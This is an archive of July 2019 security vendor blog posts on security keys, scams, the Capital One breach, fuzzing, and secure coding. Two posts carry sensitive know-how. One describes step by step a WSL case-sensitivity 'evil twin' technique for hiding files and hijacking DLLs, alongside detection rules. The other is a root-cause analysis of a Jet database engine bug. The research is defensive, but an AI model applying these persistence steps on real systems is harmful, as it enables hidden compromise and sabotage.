Monthly Archives: July 2019

Titan Security Keys are now available in Canada, France, Japan, and the UK

Posted by Christiaan Brand, Product Manager, Google Cloud


Credential compromise as a result of phishing is one of the most common causes of security breaches. Security keys provide the strongest protection against these types of attacks, and that’s one of the main reasons why Google requires them as a second factor of authentication for our employees.

Last year, we launched Titan Security Keys in the United States and were excited to see strong demand from users and businesses choosing to protect their personal and work Google Accounts. Starting today, Titan Security Keys are also available on the Google Store in Canada, France, Japan, and the United Kingdom (UK).



Titan Security Keys


Titan Security Keys are built with a hardware chip that includes firmware engineered by Google to verify the keys’ integrity. Each key leverages FIDO standards to cryptographically verify your identity and URL of the login page, preventing an attacker from accessing your account even if you are tricked into providing your username and password. Security keys are appropriate for any security-conscious user or enterprise, and we recommend that all users, especially those at higher risk such as IT administrators, executives, politicians, and activists consider signing in via security keys.

Bundles of two Titan Security Keys (one USB/NFC and one Bluetooth) are available on the Google Store in Canada, France, Japan, and the UK in addition to the US. To set up your security keys with your personal or work Google Account, sign in and navigate to the 2-Step Verification page. In addition, you can enroll in the Advanced Protection Program, which provides Google’s strongest security for anyone at risk of targeted attacks. Titan Security Keys can also be used anywhere FIDO security keys are supported, including Coinbase, Dropbox, Facebook, GitHub, Salesforce, Stripe, Twitter, and more

Enterprise administrators can require security keys for their users in G Suite and Google Cloud Platform (GCP). Bulk orders of unbundled Titan Security Keys are available in Canada, Japan, and the US.

Be Wary of WhatsApp Messages Offering 1000GB of Free Data

Global messaging giant WhatsApp turned 10 years old this year. It’s not unusual for companies to provide loyal customers or members with gifts to show their appreciation during these milestones. Unfortunately, cybercriminals are using this as a ploy to carry out their malicious schemes. According to Forbes, security researchers have discovered a fraudulent message promising users 1000GB of free internet data, which is a scam bringing in ad click revenue for cybercriminals.

Let’s dive into the details of this suspicious message. The text reads “WhatsApp Offers 1000GB Free Internet!” and includes a link to click on for more details. However, the link provided doesn’t use an official WhatsApp domain. Many users might find this confusing since some businesses do run their promotions through third-party organizations. Forbes states that once a user clicks on the link, they are taken to a landing page that reads “We offer you 1000 GB free internet without Wi-Fi! On the occasion of our 10th anniversary of WhatsApp.” To make the user feel like they need to act fast, the landing page also displays a bright yellow countdown sticker warning that there are a limited number of awards left.

As of now, it doesn’t appear that the link spreads malware or scrapes users’ personal information. However, the scam could eventually evolve into a phishing tactic. Additionally, the more users click on the fraudulent link, the more the cybercriminals behind this scheme rack up bogus ad clicks. This ultimately brings in revenue for the cybercrooks, encouraging them to continue creating these types of scams. For example, the domain being used by the scammers behind the WhatsApp message also hosts other fake brand-led promotional offers for Adidas, Nestle, Rolex, and more.

So, what can users do to prevent falling for these phony ads? Check out the following tips to help you stay secure:

  • Avoid interacting with suspicious messages. Err on the side of caution and don’t respond to direct messages from a company that seems out of the ordinary. If you want to know if a company is participating in a promotional offer, it is best to go directly to their official site to get more information.
  • Be careful what you click on.If you receive a message in an unfamiliar language, one that contains typos, or one that makes claims that seem too good to be true, avoid clicking on any attached links.
  • Stay secure while you browse online. Security solutions like McAfee WebAdvisor can help safeguard you from malware and warn you of phishing attempts so you can connect with confidence.

And, of course, stay on top of the latest consumer and mobile security threats by following me and @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Be Wary of WhatsApp Messages Offering 1000GB of Free Data appeared first on McAfee Blogs.

The Twin Journey, Part 1

Summary and Introduction:

The recent changes in Windows 10, aiming to add case sensitivity (CS) at directory level, have prompted our curiosity to investigate the potential to use CS as a mean of obfuscation or WYSINWYG (What You See is NOT What you Get). While CS was our entry point, we then ventured into other file naming techniques to achieve similar outcomes.

Threats and Red Teams may include these techniques in their arsenal to execute various versions of persistence tricks, scan avoidance, security bypass or, in extreme cases, make the system totally unusable.

As part of this blog we use the term “Evil Twins” to describe a scenario where 2 files on disk are crafted using specific file naming techniques to confuse security mechanisms, leading to the good twin being scrutinized while the evil twin flies under the radar.

This is part of a series that will explore each of the different scenarios and techniques we researched.

Evil Twins and WSL (Windows Sub-System for Linux) to the Rescue

Windows Linux Subsystem introduces a set of new cool features and provides interoperability between Linux & Windows, including the ability to execute ELF files.

Some time ago, case sensitiveness was enabled by default when using DRVFS, the file system driver that allows to mount Windows drives. (C:\\, D:\\) from a WSL instance.

After some internal releases it was removed, and case-sensitiveness did change over time in terms of CS inheritance, including the restriction to change sensitiveness of folders that already have “twins”.

The following technique relies on the ability to mount DRVFS with case=force that will literally override any case-sensitiveness set for any directory.

Any attacker that has admin rights and wants to achieve any of the following goals can rely on this approach to:

  • Persist & Hide files
  • Make the OS unusable
  • Stop many products from starting (even if they have other kinds of protection).
  • Alter dlls loaded to control the applications.

This scenario is based on the premise that WSL and a Linux distribution are installed. In case those requirements are not met, scripts that automate that process, or even importing your custom distribution.

For complex scenarios where installing WSL & importing a distribution is required, even although it’s possible to di programmatically for any adversary and even remove WSL, it will still be very noisy in terms of suspicious activities whether the workstation does not belong to a developer for instance. As time goes on, many companies that have Linux development will include WSL as part of the daily basics for developer workstations, servers, etc.

The execution steps would include something like:

  1. Enable WSL
  2. Check if a distribution is already installed / Install it if missing
  3. Look for LXSS and enable DRVFS force flag
  4. Depending on how the twin will be created you can do several things:
    1. Create a WSL conf file with automount options. This is optional since you can remount the /mnt/c folder with new options.
    2. Copy files from the rootfs folder in Windows to preserve permissions (read/execute/etc.) without messing with ACL’s on the Linux side.
      1. Approach #1: Create the proper files without starting bash until the end (only touching Windows files): Ex: One of the scripts just copies the environment file and, if it is empty, it adds some content, so it is executed from bashrc next time bash is launched.
      2. Approach #2: Create the proper files from bash itself, so you do not need to mess with permissions (this will depend on how systems will be alerted by detecting bash execution, etc.)
    3. Terminate WSL instances.
    4. Start bash (by using a task, autorun, or just as part of the PowerShell script)
      1. From here you can just execute commands on the POC example, depending on the script arguments; the commands to be executed are of /etc/bashrc file.
      2. VOILA, the script will create a folder or copy the twin dll in a non-cs enabled folder, thus promoting the twin as the file to look for next time.

Sample script:

Executing the technique to implant an Evil Twin dll: (replacing IEPROXY.dll for a mock that will just change the background)

The IEPROXY.DLL implant taking effect😊

Watch the video recorded by our expert Cedric Cochin, illustrating the entire technique:

Outcomes for this technique include:

  • A piece of ransomware creating C:\Windows\SYSTEM32 twin folder and not allowing a normal boot.
  • A targeted attack could create a IEPROXY.DLL so next time any application loads the dll it will load the compromised dll.
  • A targeted attack could create a C:\Program Files\[FAVORITE VENDOR] to disable such application, if the application is not CS aware/compatible

Protection and Detection with McAfee Products:

  • By using Endpoint Security Expert Rules, the registry key required to execute the entire workflow can be protected.
  • Active Response:
    • Setup a trigger to be notified of this situation whenever this registry key or a file is modified
      • File Trigger with condition: Files name equals wsl.conf”
      • Registry Trigger with condition: WinRegistry keypath starts with HKLM\System\ControlSet001\Services\lxss
    • Custom collector: PowerShell Script that can find duplicated names in a folder. (Scanning the entire disk may take longer that search timeout)
    • Files collector if enabled, looking for wsl.conf modifications.
      • “Files where Files name equals wsl.conf”
    • WinRegistry Collector :
      • “WinRegistry where WinRegistry keypath starts with HKLM\System\ControlSet001\Services\lxss”
  • MVISION EDR:
    • File collector if enabled, looking for wsl.conf modifications.
      • “Files where Files name equals wsl.conf”
    • WinRegistry Collector:
      • “WinRegistry where WinRegistry keypath starts with HKLM\System\ControlSet001\Services\lxss”

  • Historical search activity

Artifacts involved:

  • Modification of HKLM:\System\CurrentControlSet\Services\lxss\DrvFsAllowForceCaseSensitivity
  • Bash execution
  • Creation of new folder / dll (twin)
  • Optional:
    • Creation of /etc/wsl.conf ( Can be tracked from Windows rootfs folder)
    • Wslconfig /t execution to terminate instances
    • Installation / Download of Linux distribution or tar file import
    • WSL enabled

The post The Twin Journey, Part 1 appeared first on McAfee Blogs.

Key Considerations for Secure Coding Training

Developer training has an essential role in reducing code vulnerabilities and avoiding a breach. Effective application security requires both locating security-related defects, and fixing them. But developers simply aren’t equipped with the knowledge or skills they need to fix these flaws. Veracode recently sponsored the 2017 DevSecOps Global Skills Survey from DevOps.com, and found that less than one in four developers or other IT pros were required to take a single college course on security. Meanwhile, once developers get on the job, employers aren't advancing their security training options, either. Approximately 68 percent of developers and IT pros say their organizations don't provide them adequate training in application security. The good news is that getting developers the security training they need makes a big difference. Data collected for our State of Software Security report revealed that eLearning on secure coding improved developer fix rates by 19 percent; even better, remediation coaching improved fix rates by a whopping 88 percent.

Clearly, developer training on secure coding is both needed and effective. The following are some key elements to keep in mind when establishing security-training initiatives for development teams.

Consider the channel and the content

Consider employing a variety of training types to accommodate different learning styles and preferences, time zone differences, and to allow for both quick insights and deep dives. For instance, consider both self-paced eLearning training along with periodic instructor-led training.

In terms of content, ensure the training is both role- and technology-specific. For instance, different programming languages have different security idiosyncrasies, and each has its own propensity for different vulnerability types, so it’s important that your training is specific to your language.

Train on-the-job

Reinforce traditional training with on-the-job learning. When developers get instant feedback and learn to code securely as they are actively coding, they create more secure code faster and make less security missteps going forward. And some application security testing solutions offer this option. As our director of product marketing notes in a recent blog post, “The security testing serves as a feedback loop for developers and as a gate to stop security defects escaping to production.”

A recent Forrester report, Show, Don't Tell, Your Developers How To Write Secure Code, states that “the best application security testing tools … now come with good remediation advice for developers.” They recommend to “look for tools that include clickable and brief training modules and can be inserted as early into the SDLC as possible, such as spellchecker-like plug-ins to the integrated developer environment (IDE).”

For example, Veracode Greenlight, an IDE or CI integrated continuous flaw feedback and secure coding education solution, returns scans in seconds, helping you answer the question “is my code secure?”

Greenlight provides on-the-job developer security training through:

  • Remediation advice with code examples
  • Positive feedback when best practices are followed
  • In line education, learning as you code

Embrace security champions

Finally, one of the best ways to reinforce all your security training efforts is to employ security champions on your development teams. A security champion is a developer with an interest in security who helps amplify the security message at the team level. Security champions don’t need to be security pros; they just need to act as the security conscience of the team, keeping their eyes and ears open for potential issues. Once the team is aware of these issues, it can then either fix the issues in development or call in your organization’s security experts to provide guidance.

With a security champion, an organization can make up for a lack of security coverage or skills by empowering a member of the development team to act as a force multiplier who can pass on security best practices, answer questions, and raise security awareness.

Learn more

Get details on additional application security best practices in our new Application Security Best Practices Handbook.

And get tips and tricks on managing your AppSec program from other Veracode customers in our Community.

Capital One Benefits From Responsible Disclosure Program Following Massive Data Breach

Veracode Capital One Data Breach Coordinated Vulnerability Disclosure

This blog post was updated on August 1, 2019 to include additional details uncovered as a result of the ongoing investigation associated with the Capital One data breach.

Capital One’s data breach may be one for the record books, impacting as many as 106 million U.S. and Canadian credit applicants dating back to as early as 2005. While it’s natural to want to draw parallels to the 2017 Equifax breach, there are a couple of details in this story that make it remarkably different – including Capital One’s quick response to a tip submitted through its Responsible Disclosure process.

According to multiple reports, 33-year-old Paige A. Thompson allegedly gained access to approximately 140,000 Social Security numbers, 1 million Canadian Social Insurance numbers, and 80,000 linked bank account numbers. Other affected personal information included phone numbers and credit scores. Thompson, who is facing five years in prison and a fine of up to $250,000, was previously an employee of Amazon Web Services, which hosted the Capital One database that was breached.

“The attacker was an ex-AWS employee, which did not give her special privileges, but does go to explain expertise of the AWS platform,” said Veracode Co-Founder and CTO Chris Wysopal. “The attacker found a configuration error in a Web Application Firewall (WAF) that allowed privileged commands to be executed with the credentials of Capital One. These commands had privileges that allowed her to access the storage where the Capital One PII was stored.”

Paul Farrington, Veracode EMEA CTO, noted that WAF log files are likely to have been stored in the AWS S3 storage system, which may be how the attacker was able to access the customer data that contain PII. What’s yet to be understood is who the WAF vendor is – if this breach is indeed the result of a configuration error, this vulnerability may be undocumented and many other organizations could be at risk.

UPDATE: TechCrunch's Zack Whittaker has reported that, "Israeli security firm CyberInt said Vodafone, Ford, Michigan State University and the Ohio Department of Transportation may have also fallen victim to the same data breach," and that the Justice Department said Thompson may face additional charges, which suggests other companies may have been involved.  

What Does Coordinated Disclosure Have To Do With It?

Many news outlets are drawing parallels to the 2017 Equifax breach, saying that this may not have happened if adequate measures had been taken legislatively to ensure significant consequence following breaches of this magnitude. The facts of the Capital One breach are certainly alarming, particularly when you consider that this is yet another example of consumers experiencing a significant privacy breach with far-reaching consequences. Certainly, the $700 million settlement Equifax is paying sets a precedent in penalizing companies that have not adequately protected their customers’ personal information – and failed to act quickly when a breach is brought to its attention.

That’s just one of the ways in which the Capital One breach is different. If the company was indeed breached through a WAF provided to them by a third-party vendor, it could be said that Capital One was doing its diligence to ensure the security of its customer data. We could get into how complicated supply chain security can be (think back to the AMCA data breach in June) and where the fault really lies in this case, but that seems fruitless given we don’t yet have all the facts.

It’s what we do know that deserves to be highlighted, both to differentiate this breach from Equifax and to highlight a critical best practice for all organizations with software underpinning the success of their business: Capital One has a working responsible disclosure process.

Thompson was not shy or discreet about her hack into the financial institution, posting the data she exfiltrated back in March to her GitHub account, which included her full name and resume. According to Wired, she also talked openly about it on Slack. The court documents indicate that on July 17, an anonymous tipster informed Capital One about the flaw and breach by emailing the responsible disclosure address with a warning about the data as well as the GitHub link.

In a statement made on July 29, Capital One said it, “immediately fixed the configuration vulnerability that this individual exploited and promptly began working with federal law enforcement. The FBI has arrested the person responsible and that person is in custody. Based on our analysis to date, we believe it is unlikely that the information was used for fraud or disseminated by this individual. However, we will continue to investigate."

Meaning that once informed through its disclosure process, Capital One alerted the FBI, fixed the vulnerability, and the suspect was arrested – all within 12 days. Although consumers are still waiting to see if their data has been impacted, this response and resolution is much faster than others we have historically seen.

When a vulnerability in Zoom was made public earlier this month, it was done so by a security researcher who had disclosed the vulnerability to the video conferencing company 90 days before he published his blog post. At that time, they still hadn’t fixed it, and it became major news in the hours and days following the public disclosure.

The Capital One data breach could have been far worse had it not been for the openness of the hacker and the financial institution’s responsible disclosure process. Consumers may still be waiting to find out whether or not their information was breached, but it is clear that Capital One either learned from the massive breaches that came before or has a security leader hip to the value of working with outside security researchers.

The debates around responsible disclosure – now more commonly referred to as coordinated disclosure – have been going on for many, many years. We know that both businesses and the security community see the value, and that there is frustration from security researchers when they are either ignored or feel the issue isn’t being remedied fast enough. While it is important to consider how best to handle these breaches when it comes to legislative involvement, it is just as important to strengthen the relationship between enterprise and security researchers to ensure smooth reporting and resolution of flaws.

Vulnerabilities and flaws aren’t going anywhere – but we can all work together better to make sure they’re harder to exploit, and that resolution is swift after there has been a breach.

You can keep up with AppSec news like this, plus get trends and best practices, by subscribing to our content.

Capital One Data Breach: How Impacted Users Can Stay More Secure

Capital One is one of the 10 largest banks based on U.S. deposits. As with many big-name brands, cybercriminals see these companies as an ideal target to carry out large-scale attacks, which has now become a reality for the financial organization. According to CNN, approximately 100 million Capital One users in the U.S. and 6 million in Canada have been affected by a data breach exposing about 140,000 Social Security numbers, 1 million Canadian Social Insurance numbers, and 80,000 bank account numbers, and more.

According to the New York Post, the alleged hacker claimed the data was obtained through a firewall misconfiguration. This misconfiguration allowed command execution with a server that granted access to data in Capital One’s storage space at Amazon. Luckily, Capital One stated that it “immediately fixed the configuration vulnerability.”

This breach serves as a reminder that users and companies alike should do everything in their power to keep personal information protected. If you think you might have been affected by this breach, follow these tips to help you stay secure:

  • Check to see if you’ve been notified by Capital One. The bank will notify everyone who was affected by the breach and offer them free credit monitoring and identity protection services. Be sure to take advantage of the services and check out the website Capital One set up for information on this breach.
  • Review your accounts. Be sure to look over your credit card and banking statements and report any suspicious activity as soon as possible. Capital One will allow you to freeze your card so purchases can no longer be made.
  • Change your credentials. Err on the side of caution and change your passwords for all of your accounts. Taking extra precautions can help you avoid future attacks.
  • Freeze your credit. Freezing your credit will make it impossible for criminals to take out loans or open up new accounts in your name. To do this effectively, you will need to freeze your credit at each of the three major credit-reporting agencies (Equifax, TransUnion, and Experian).
  • Consider using identity theft protection. A solution like McAfee Identify Theft Protection will help you to monitor your accounts and alert you of any suspicious activity.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Capital One Data Breach: How Impacted Users Can Stay More Secure appeared first on McAfee Blogs.

Chrome Fuzzer Program Update And How-To

TL;DR We increased the Chrome Fuzzer Program bonus from $500 to $1,000 as part of our recent update of reward amounts.

Chrome Fuzzer Program is a part of the Google Chrome Vulnerability Reward Program that lets security researchers run their fuzzers at scale on the ClusterFuzz infrastructure. It makes bug reporting fully automated, and the fuzzer authors get the same rewards as if they reported the bugs manually, plus an extra bonus ($1,000 as of now) on top of it for every new vulnerability.

We run fuzzers indefinitely, and some of the fuzzers contributed years ago are still finding security issues in ever changing Chrome code. This is a win-win for both sides, as security researchers do not have to spend time analyzing the crashes, and Chrome developers receive high quality bug reports automatically.

To learn more about the Chrome Fuzzer Program, let’s talk to Ned Williamson, who’s been a participant since 2017 and now works on the Google Security team.

Q: Hey Ned! It looks like you’ve received over $50,000 by participating in the Google Chrome Vulnerability Reward Program with your quic_stream_factory_fuzzer.

A: Yes, it’s true. I wrote a fuzzer for QUIC which helped me find and report two critical vulnerabilities, each worth $10,000. Because I knew my fuzzer worked well, I submitted it to the Chrome Fuzzer Program. Then, in the next few months, I received that reward three more times (plus a bonus), as the fuzzer caught several security regressions on ClusterFuzz soon after they happened.

Q: Have you intentionally focused on the areas that yield higher severity issues and bigger rewards?

A: Yes. While vulnerabilities in code that is more critical to user security yield larger reward amounts, I actually started by looking at lower severity bugs and incrementally began looking for more severe bugs until I could find critical ones. You can see this progression by looking at the bugs I reported manually as an external researcher.

Q: Would you suggest starting by looking for non-critical bugs?

A: I would say so. Security-critical code is generally better designed and more thoroughly audited, so it might be discouraging to start from there. Finding less critical security bugs and winning bounties is a good way to build confidence and stay motivated.

Q: Can you share an algorithm on how to find security bugs in Chrome?

A: Looking at previous and existing bug reports, even for non-security crashes, is a great way to tell which code is security-critical and potentially buggy. From there, if some code looks like it’s exposed to user inputs, I’d set up a fuzzing campaign against that component. After you gain experience you will not need to rely on existing reports to find new attack surface, which in turn helps you find places that have not been considered by previous researchers. This was the case for my QUIC fuzzer.

Q: How did you learn to write fuzzers?

A: I didn’t have any special knowledge about fuzzing before I started looking for vulnerabilities in Chrome. I followed the documentation in the repository and I still follow the same process today.

Q: Your fuzzer isn’t very simple compared to many other fuzzers. How did you get to that implementation?

A: The key insight in the QUIC fuzzer was realizing that the parts of the code that handled plaintext messages after decryption were prone to memory corruption. Typically, fuzzing does not perform well with encrypted inputs (it’s pretty hard to “randomly” generate a packet that can be successfully decrypted), so I extended the QUIC testing code to allow for testing with encryption disabled.

Q: Are there any other good examples of fuzz targets employing a similar logic?

A: Another example is pdf_formcalc_context_fuzzer that wraps the fuzzing input around with a valid hardcoded PDF file, therefore focusing fuzzing only on the XFA script part of it. As a researcher, you just need to choose what exactly you want to fuzz, and then understand how to execute that code properly. Looking at the unit tests is usually the easiest way to get such an understanding.

Useful links:

Happy fuzzing and bug hunting!

Don’t Silo Your Endpoint Security Roadmap

If there’s a gap you bridge it, if there’s a hole you plug it. These are simple musts that businesses have to follow – they need to right wrongs and adjust processes to create better outcomes. The same thing goes for the security teams tasked with safeguarding these organizations, who know they must always bridge the gap between exposed and secure. These security teams know that in order to plug any holes they must at minimum apply standard endpoint security to their infrastructure. While most teams know one solution can’t be the be-all and end-all for their strategy, many are still slow to adopt new technologies to their defense strategy. Here’s why.

Outdated Adoption Mindsets

I meet a lot of security professionals that are aware a better mousetrap exists, but feel as though the pains of making a change outweigh the advantages of better detection or threat detail. I get it, I’m up against my own list of critical projects and nice-to-have things that are difficult to move to the top of the list. Maybe that’s why so many businesses are stating they intend to adopt next-gen technologies but are struggling with the expertise to move ahead with a product or deploy it.

When it comes to getting more tactical against the latest generation of threats that are designed to evade detection, the natural next step for these teams is to add a product like McAfee MVISION EDR. This type of product is top of mind for many right now, as 82% of IT leaders say they don’t have the visibility they need. As a threat hunting tool, EDR tells security teams how exactly threats entered an environment, what these threats did while inside, and how teams can pivot to action against them now and prevent similar attacks from happening again. The value of the EDR might be understood, but adopting it is usually hindered by pre-existing mindsets.

Many security professionals out there think of products, such as McAfee ENS and McAfee MVISION EDR as two separate entities. The same thing goes for solutions such as DLP and CASB. These teams often adopt one solution at a time, with the hope of eventually being able to collect them all one day. Compounding this issue, many fear they’re going to overwhelm existing staff with all the new training and education required for proper adoption. But therein lies the problem – these solutions shouldn’t be viewed as a burden or mutually exclusive, given accurate threat protection in today’s modern threat landscape is reliant on multiple success factors working together at the same time. Adoption should be holistic and simultaneous.

The Importance of Integration

Just like one size typically doesn’t fit all, one solution cannot address all threats. That means your defense strategy shouldn’t rely on just one defense or detection method to protect every user from every kind of threat. Therefore, security teams need to clear out old notions and start looking at solution adoption with the idea of integration and a platform that is sustainable for the long term, not just a product. Meaning, by achieving the right convergence of solutions, teams will establish a holistic security posture for their organization, ultimately positioning it for success.
So, what does this blend of solutions look like? To cover all the bases, organizations should look toward adopting solutions designed with collaboration and integration in mind. Take McAfee’s EPP for example, which is built with the future in mind. Our cloud-first MVISION products are designed to help you transform your IT environment. Specifically, our EDR solution is designed to meet you where you are with AI-guided investigations, detecting and remediating both the opportunistic and targeted attacks.

The more defense solutions can work together, the more actions can be automated and burdens can be reduced for the IT staff. So, instead of making your buying decision in order to fill a gap in today’s environment, make sure you buy with tomorrow’s gaps in mind. Focus on how the product you buy today will work or not work with the purchases you make in the future. From there, security will move beyond a simple must, becoming second nature.

 

To learn more about effective endpoint security strategy, be sure to follow us @McAfee and @McAfee_Business.

The post Don’t Silo Your Endpoint Security Roadmap appeared first on McAfee Blogs.

Announcing the Sixth Annual Flare-On Challenge

The FireEye Labs Advanced Reverse Engineering (FLARE) team is thrilled to announce that the popular Flare-On reverse engineering challenge will return for the sixth straight year. The contest will begin at 8:00 p.m. ET on Aug. 16, 2019. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Sept. 27, 2019.

This year’s contest will feature a total of 12 challenges covering a variety of architectures from x86 on Windows, .NET, Linux, and Android. Also, for the first time in Flare-On history, the contest will feature a NES ROM challenge. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.

If you are skilled and dedicated enough to complete the Sixth Flare-On challenge, you will receive a prize and recognition on the Flare-On website for your accomplishment. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Previous prizes included belt buckles, a replica police badge, a challenge coin, and a huge pin.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon6

Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423

In September 2018, the Zero Day Initiative published a proof of concept for a vulnerability in Microsoft’s Jet Database Engine. Microsoft released a patch in October 2018. We investigated this flaw at that time to protect our customers. We were able to find some issues with the patch and reported that to Microsoft, which resulted in another vulnerability, CVE-2019-0576, which was fixed on 8-Jan-2018 (Microsoft Jan 2019 Patch Tuesday).

The vulnerability exploits the Microsoft Jet Database Engine, a component used in many Microsoft applications, including Access. The flaw allows an attacker to execute code to escalate privileges or to download malware. We do not know if the vulnerability is used in any attacks; however, the proof of concept code is widely available.

Overview

To exploit this vulnerability, an attacker needs to use social engineering techniques to convince a victim to open a JavaScript file which uses an ADODB connection object to access a malicious Jet Database file. Once the malicious Jet database file is accessed, it calls the vulnerable function in msrd3x40.dll which can lead to exploitation of this vulnerability.

Although the available proof of concept causes a crash in wscript.exe, any application using this DLL is susceptible to the attack.

The following error message indicates the vulnerability was successfully triggered:

The message shows an access violation occurred in the vulnerable DLL. This vulnerability is an “out-of-bounds write,” which can be triggered via OLE DB, the API used to access data in many Microsoft applications. This type of vulnerability indicates that data can be written outside of the intended buffer, resulting in a crash. The cause of the crash is the maliciously crafted Jet database file. The file exploits an index field in the Jet database file format with an unexpectedly large number, resulting in an out-of-bounds write and, ultimately, the preceding crash.

The following diagram provides a high-level view of how the exploit works:

Exploit in Action

The proof of concept code contains one JavaScript file (poc.js), which calls a second file (group1). This is the Jet database file. By running poc.js through wscript.exe, we can trigger the crash.

As we see in the preceding image, we can review debug information to determine the function that crashes is “msrd3x40!TblPage::CreateIndexes.” Furthermore, we can determine that the program is trying to write data and failing. Specifically, we can see that the program is using the “esi” register to write to the location [edx+ecx*4+574h], but that location is not accessible.

We need to understand how this location is constructed to provide clues to the root cause. The debug information shows that register ecx contains the value 0x00002300. Edx is a pointer to memory that we will see again later. Finally, they are added together with an offset of 574 hexadecimal bytes to reference the memory location. From this information, we can guess the type of data that is stored there. It appears to be an array in which each variable is 4 bytes long and starts at the location edx+574h. While tracking the program, we determined the value 0x00002300 comes from the proof-of-concept file group1.

We know that the program attempts to write out of bounds and we know where the attempt occurs. Now we need to determine why the program attempts to write at that location. We investigate the user-provided data of 0x00002300 to understand its purpose. To do this we must understand the Jet database file.

Analyzing the Jet Database File

Many researchers have extensively analyzed the Jet database file structure. Some of the details of previous work can be found at the following links:

To summarize, a Jet database file is organized as a collection of pages, as shown in the following image:

The header page contains various information related to the file:

After the header come 126 bytes, RC4 encrypted, with the specific key 0x6b39dac7, which is the same for every JetDB file. Comparing the key value with the proof-of-concept file, we can identify that group1 is a Jet Version 3 file.

Further examination leads to a Table Definition Pages section, which describes various data structures for a table. (Click here for details.)

The table definition data has various fields, including two of note: Index Count and Real Index Count.

We can determine the value of these in our proof-of-concept file. When we check this with the group1 file, we see following:

There are total of two indexes in the Index Count. When we parse both indexes we see the familiar value of 0x00002300:

Our offending value 0x00230000 is the index number for index2 in the table. This index seems rather large and leads to the crash. Why does it crash the program? Further parsing the file, we find the names of the two indexes:

Debugging

With a debugger attached, we can see that first program calls the function “msrd3x40!operator new.” This allocates memory that stores the memory pointer address in eax:

After the memory is allocated, the program creates the new index:

This index number is used later in the execution. The function msrd3x40!Index::Restore copies that index number to the index address + 24h. This process is repeated in a loop for all indexes. First it calls the “new” operator, which allocates the memory. It then creates an index on that address and moves the index number to the base address of the index +24h. We see this move in the following code, which shows the malicious index value copied to newly created index:

Once successfully moved, the function msrd3x40!NamedObject::Rename is called and copies the index name value to the index address +40h:

If we look at the esi register, we see it points to the address of the index. The ecx register has a value of [esi+24h], which is the index number:

After a few more instructions, we can observe the original crash instructions. Edx points to the memory location. Ecx contains a very large number from the file group1. The program tries to access memory at location [edx+ecx*4+574h], which will cause the out-of-bounds write and the program crashes:

What is happening with the data the program tries to write? If we watch the instructions, we see that program tries to write the value of esi to [edx+ecx*4+574]. If we print esi or the previous value, we see that it contains the index name ParentIdName, which we saw in group1:

 

Ultimately, the program crashes while trying to process ParentIDName with a very large index number. The logic:

  • Allocate the memory and get the pointer to the start of the memory location.
  • From the start of memory location +574h, the program saves pointers to index names with each occupying 4 bytes multiplied by the index number mentioned in the file.

If the index number is very large, as in this case, and no validation is done, then the program will try to write out of bounds and crash.

Conclusion

This is a logic error and such errors are sometimes hard to catch. Many developers take extra precautions to avoid these types of bugs in their code. It is even more unfortunate when these bugs lead to serious security issues such as with CVE-2018-8423. When these issues are discovered and patched, we recommend applying the vendor patch as soon as possible to reduce your security risks.

Microsoft patches can be downloaded and installed from the following locations for respective CVEs:

CVE-2018-8423

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8423

CVE-2019-0576

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0576

McAfee Detection:

McAfee Network Security Platform customers are protected from this vulnerability by Signature IDs 0x45251700 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8423) and 0x4525890 – HTTP: Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2019-0576).

McAfee AV detects malicious file as BackDoor-DKI.dr .

McAfee HIPS, GBOP (Generic Buffer Overflow Protection) feature might cover this, depending on the process used to exploit the vulnerability.

We thank Steve Povolny of McAfee’s Advanced Threat Research team, and Bing Sun and Imran Ebrahim of McAfee’s Hybrid Gateway Security team for their support and guidance with this analysis.

 

References

The post Jet Database Engine Flaw May Lead to Exploitation: Analyzing CVE-2018-8423 appeared first on McAfee Blogs.

“Hackable?” Dedicates an Entire Episode to “Mr. Robot”

While Hollywood often gets hacking wrong, “Mr. Robot” is acclaimed for its commitment to authenticity and technical accuracy. And it’s ridiculously entertaining. Inspired by the efforts of the main character Elliot and his band of hackers, we’ve compromised Wi-FI networks, dropped malicious USB drives, and cracked car key fobs — all legally and with permission, of course. With the show’s final season set to air this fall, we want to pay tribute to our favorite show with a “Mr. Robot” spectacular. On the latest episode of “Hackable?” Pedro invites three white-hat hackers to Geoff’s office for attacks straight from past episodes of “Mr. Robot.”

Listen now to the award-winning podcast “Hackable?”.

The post “Hackable?” Dedicates an Entire Episode to “Mr. Robot” appeared first on McAfee Blogs.

Top 5 Ways to Ensure a Smooth Veracode Dynamic Analysis Scan

Dynamic analysis (DAST) is a vital part of all application security programs. Effective application security secures software throughout its entire lifecycle — from inception to production. With the speed of today’s development cycles — and the speed with which software changes and the threat landscape evolves — it would be foolish to assume that code will always be 100 percent vulnerability-free after the development phase. Code in production will always need to be tested or, in some cases, patched. Dynamic analysis plays an important role in ensuring that security spans from left to right in the SDLC.

Veracode provides dynamic scanning using a best-in-class engine that provides speed, accuracy of results, and scale. You can submit large batches of URLs for authenticated scans and expect results you can trust within a timeframe that matches your development cycles.

To ensure the most thorough coverage possible, you want authentication to go smoothly. Here are five key things to keep in mind to set yourself up for dynamic scanning success:

  1. Prescan: Always allow time to run a prescan to check your authentication and ensure your connection is stable.
  2. If you are using login scripts, always use Selenium IDE to create them.
  3. Schedule scans to occur when you know that the sites will be up (e.g., not during a maintenance window, or leverage the Pause & Resume feature), and when there is lighter traffic.
  4. If you want support for advanced frameworks (Angular, React) or single page applications, select the advanced mode option for scanning to ensure thorough coverage.
  5. Take advantage of app linking: You can link the results from a dynamic analysis to an application profile to evaluate the results against policy, and see the results for all types of scans of the application aggregated in a single report.

